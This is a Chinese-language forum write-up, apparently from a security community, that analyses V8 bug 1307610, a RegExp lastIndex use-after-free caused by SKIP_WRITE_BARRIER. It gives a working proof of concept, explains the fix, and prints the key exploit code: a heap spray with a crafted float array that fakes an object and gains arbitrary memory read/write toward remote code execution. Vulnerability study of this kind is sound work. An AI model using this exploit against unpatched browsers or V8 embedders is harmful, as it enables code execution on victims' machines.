环境:Ubuntu 18.04
GDB
V8 9.9.115
由于接触v8的时间的原因,导致对v8漏洞熟悉的大部分为Turbofan,IC模块的,类型大部分为混淆或者检测绕过类型,
对v8出现的传统的UAF漏洞类型反而不太熟悉,最近就通过这个case对这种类型漏洞进行学习。
1:写在前面
1.1:v8在引入指针压缩之后,在索引对象的时候,使用的是短指针,也就是对象地址的后4个字节指向需要指向的对象。
其实原理是预先跟系统申请4GB地址空间,然后在这个空间上开始初始化各种对象。
1.2: v8在对象初始化的时候,通常顺序是非常非常的固定(其顺序跟v8版本有关系),这就导致在特定版本的v8之中,v8默认类型的map(v8对象的原型),地址的前面4个字节是随机的(因为是系统分配的),而后面的4字节一般是固定的(因为是v8自己按照固定顺序加载的)。
假设有个对象var array=[1.1],他的map是在v8加载你写的js之前就已经确定,所以如果你第一次调试得到map为0x08203af9,重新调试地址还是为0x08203af9。
完整的地址为0xXXXXXXXX0x08203af9
只有前面的4个字节地址实现了随机化,而v8引入指针压缩后是采用后4个字节地址表示对象地址的,所以在这个版本的v8中,var array=[1.1]的map就一直为为0x08203af9。
1.3:同样的,如果我们在js中自定义了一个var array=[1.1]实例,只要不改变前面的内容,v8就会在一个固定的地址创建这个array数组实例,比如这次加载的地址为0x0804ad61,那么只要不改变var array=[1.1]前面的js加载顺序,就算重新加载这个js文件,v8还是会在0x0804ad61地址创建这个实例,而通过简单的运算elements则会指向0x0x0804ad51。
在实际的漏洞利用之中,如果知道v8的版本,利用v8的这种堆分配特性,不需要泄露出我们申请的对象的地址,就可以通过调试和简单的计算得到我们需要的所有对象地址。
下面是调试说明:
图:1.3.1系统环境
待测试的js代码
var array = [1.1]; %DebugPrint(array); %SystemBreak();
图 :1.3.2 第一次加载数组的地址
图 :1.3.3 第一次加载数组的内存结构
图 :1.3.4 第二次加载数组的地址
图 :1.3.5 第二次加载数组的内存结构
图 :1.3.6 重启后加载数组的地址
图 :1.3.7 重启后加载数组的地址
通过调试我们可以知道var array=[1.1]的地址后4字节始终没有变,指向的结构内容也始终没有变。
2:Issue 1307610
2.1 Issue 1307610 root case
2.1.1:使用RegExp对象调用’re[Symbol.replace]’函数时,如果RegExp对象不再是fast mode或者初始的RegExp对象已经被修改,v8就会用Runtime::kRegExpReplaceRT函数来处理这个过程。
2.1.2:如果该RegExp为一个全局对象,就会调用’RegExpUtils::SetAdvancedStringIndex’来设置lastIndex,这个函数最终会调用’RegExpUtils::AdvanceString’,在这里,last_index将会增加,然后将新的last_index传递给’SetLastIndex’。
MaybeHandle<Object> RegExpUtils::SetLastIndex(Isolate* isolate, Handle<JSReceiver> recv, uint64_t value) { Handle<Object> value_as_object = isolate->factory()->NewNumberFromInt64(value); /*** A ***/ if (HasInitialRegExpMap(isolate, *recv)) { /*** B ***/ JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER); /*** C ***/ return recv; } else { return Object::SetProperty( isolate, recv, isolate->factory()->lastIndex_string(), value_as_object, StoreOrigin::kMaybeKeyed, Just(kThrowOnError)); } }
2.1.3:在RegExpUtils::SetLastIndex处理中,会进入’NewNumberFromInt64’,将会转换当前的’last_index’设置为一个integer或者一个HeapNumber(具体看传入的值是什么,如果大于SMI,就会用HeapNumber,否则就会使用Interger)。
然后如果满足条件HasInitialRegExpMap(isolate, *recv),也就是这个对象为fast的情况下。’last_index’将会用’SKIP_WRITE_BARRIER’标志位创建一个对象。
2.1.3:在使用’SKIP_WRITE_BARRIER’标志位set_last_index的情况下,如果’last_index’为一个HeapNumber对象的情况,我们可以将regexp通过垃圾回收进入了old-space,HeapNumber因为用了’SKIP_WRITE_BARRIER’标志位,所以可以通过一定的内存处理手段,在新的内存空间NewSpace中申请空间创建HeapNumber对象,由于regexp对象和这个HeapNumber对象并不在一块v8的内存管理空间,根据v8的垃圾回收机制,v8并不能通过regexp跟踪到HeapNumber对象的生命周期。所以当此时出发垃圾回收,由于v8不能跟踪这个HeapNumber对象实例的重新创建,因此regexp.last_index会变成悬垂的指针。
2.2 POC的构造
需要满足的条件:
第一:创建全局对象RegExp,修改全局对象RegExp,使得其满足能进入Runtime::kRegExpReplaceRT函数。
第二:将re.lastIndex设置为1073741823;,在随后的’RegExpUtils::SetAdvancedStringIndex’中会将其+1,结果为1073741824。因为超过了SMI的范围,因此re.lastIndex会申请一个带有SKIP_WRITE_BARRIER标志的堆创建HeapNumber()对象,来存储这个re.lastIndex。
第三:触发write_barrier,使得re对象和re.lastIndex在不同过的CG管理域,让v8无法随后通过re对象追踪re.lastIndex所指向的HeapNumber()对象地址变化。
第四:触发垃圾回收,让前面的HeapNumber()所在的空间被回收,re对象由于没有办法追踪这个对象,导致re.lastIndex没有再跟新,从而变为悬垂的指针。
var re = new RegExp('foo', 'g');//条件1:创建全局对象RegExp function major_gc() { new ArrayBuffer(0x7fe00000); } function minor_gc() { for (var i = 0; i < 32; i++) { ref[rid++] = new ArrayBuffer(0x200000); } ref[rid++] = new ArrayBuffer(1); // ram heuristic } //%DebugPrint(re); var tmp = re.exec; var match_object = {}; match_object[0] = { toString : function() { return ""; } }; re.exec = function() { major_gc(); // mark-sweep delete re.exec; //条件1:修改全局对象re,使得其能进入Runtime::kRegExpReplaceRT函数 re.lastIndex = 1073741823; // 条件2:设置re.lastIndex为max smi,其后触发re.exec时会+1,让其变成一个HeapNumber()对象 RegExp.prototype.exec = function() { throw ''; // break out of Regexp.replace } return match_object;//返回该过程正确的对象 }; try { var newstr = re[Symbol.replace]("fooooo", ".$"); } catch(e) {} minor_gc();//条件3:触发write_barrier,使得re对象和re.lastIndex分别在两个堆块,使得re对象无法追踪re.lastIndex对象 minor_gc(); major_gc();//条件4:触发垃圾回收,让re.lastIndex变为悬垂的指针 print(re.lastIndex);
2.3:补丁
这里的补丁也非常简单,只要修改
JSRegExp::cast(*recv).set_last_index(*value_as_object, SKIP_WRITE_BARRIER);
的SKIP_WRITE_BARRIER标志位为UPDATE_WRITE_BARRIER,让v8可以一直通过re对象追踪到re.lastIndex就可以。
图 2.3.1
3.1 Issue 1307610的利用技巧
图3.1.1 HeapObject
https://thlorenz.com/v8-dox/build/v8-3.25.30/html/d1/d8c/classv8_1_1internal_1_1_heap_number.html
3.1.1:根据v8对HeapNumber的说明,HeapNumber为HeapObject的父对象,HeapObject为Object的父对象。
因为v8是根据map来辨别对象的,所以我们在触发UAF之后,在map所在的内存中用我们预先设定的某个对象的map值来占据,然后引用re.lastIndex,v8就会将其解释为我们想要设定的那个对象。
3.1.2:由1的中我们可以看到 var array=[1.1],这种数组对象的内存结构为
[map,properties,elements,length]
[4字节+4字节+4字节+4字节]
根据1所诉的内容,只需要在在第一次调试时将array地址以后的16字节数据保存,然后转换为2个浮点数。在我这个环境得到的这2个浮点数为:
1.86756861281384e-310,8.3440269836909e-309
3.1.3:利用这个悬垂指针的漏洞源语,在HeapNumber对象释放以后,利用用这2个浮点数填充满的的浮点数组fake_object_array,占据原本的HeapNumber对象原来所在的空间。
图 3.1.3 地址喷射
fake_object_array = [1.86756861281384e-310,8.3440269836909e-309,1.86756861281384e-310,8.3440269836909e-309,1.86756861281384e-310,8.3440269836909e-309…];
紧接着再引用re.lastIndex,v8就会把re.lastIndex就会将这个引用解释为[1.1]结构的对象。
3.1.4:因为fake_object_array是我们能完全控制的,到这一步我们等于拥有了一个任意控制的数组,再通过修改re.lastIndex引用的伪造数组的elements指针的地址值,就可以进行任意地址的读写,最后完成v8 里面的RCE。
本人的环境是通过修改fake_object_array[0x83]。
3.1.5
Exp关键部分:
var re = new RegExp('foo', 'g'); var match_object = {}; match_object[0] = { toString : function() { return ""; } }; re.exec = function() { helper.mark_sweep_gc(); delete re.exec; //将re对象转换为 initial regexp map re.lastIndex = 1073741823; // 最大的 smi值, 再加个1就会转换为 HeapNumber new Array(256); // 添加新的空间,然后申请·NewHeapNumber<newSpace>,这个空间会在接下来的垃圾回收过程中被回收,注意这个数组不能大于后面fake_object_array的大小,不然会导致无法覆盖我们自定义的数组数据。 RegExp.prototype.exec = function() { throw ''; // break out of Regexp.replace }//触发漏洞过程 return match_object;//返回正确的对象 }; try { var newstr = re[Symbol.replace]("fooooo", ".$"); } catch(e) {} helper.scavenge_gc(); // 触发 write-barrier helper.mark_sweep_gc(); // 触发垃圾回收 GC //在新申请的空间上喷射我们前面构造好的伪造对象浮点数 fake_object_array = [3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314,3.817455492407835e-270,4.31408063e-314]; return re;
3.5.2 需要注意点是fake_object_array所能占据的空间必须比
re.exec = function() {
helper.mark_sweep_gc();
delete re.exec; //将re对象转换为 initial regexp map
re.lastIndex = 1073741823; // 最大的 smi值, 再加个1就会转换为 HeapNumber
new Array(256); // 添加新的空间,然后申请·NewHeapNumber<newSpace>,这个空间会在接下来的垃圾回收过程中被回收,注意这个数组不能大于后面fake_object_array的大小,不然会导致无法覆盖我们自定义的数组数据。
RegExp.prototype.exec = function() {
throw ''; // break out of Regexp.replace
}//触发漏洞过程
return match_object;//返回正确的对象
};
里面的new Array(256)要大,否则无法覆盖到re,lastIndex引用。在拥有这个完全控制的数组对象后,通过创建越界读写原语,能轻松的进行v8进程的RCE。
图 3.1.5 成功RCE
4.1 总结
由于这种RCE依靠提前获得map和elements指针的地址,map和elements指针猜测跟v8的版本有关,所有这类的漏洞利用感觉各个版本的兼容性应该不怎么好,堆喷的浮点数组的值要根据版本进行修改,总体感觉利用过程还是比较传统简单,感觉这个case POC和利用的精髓是对SKIP_WRITE_BARRIER标志位的理解......
参考
https://bugs.chromium.org/p/chromium/issues/detail?id=1307610
https://thlorenz.com/v8-dox/build/v8-3.25.30/html/d1/d8c/classv8_1_1internal_1_1_heap_number.html
[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~
最后于 4天前 被苏啊树编辑 ,原因: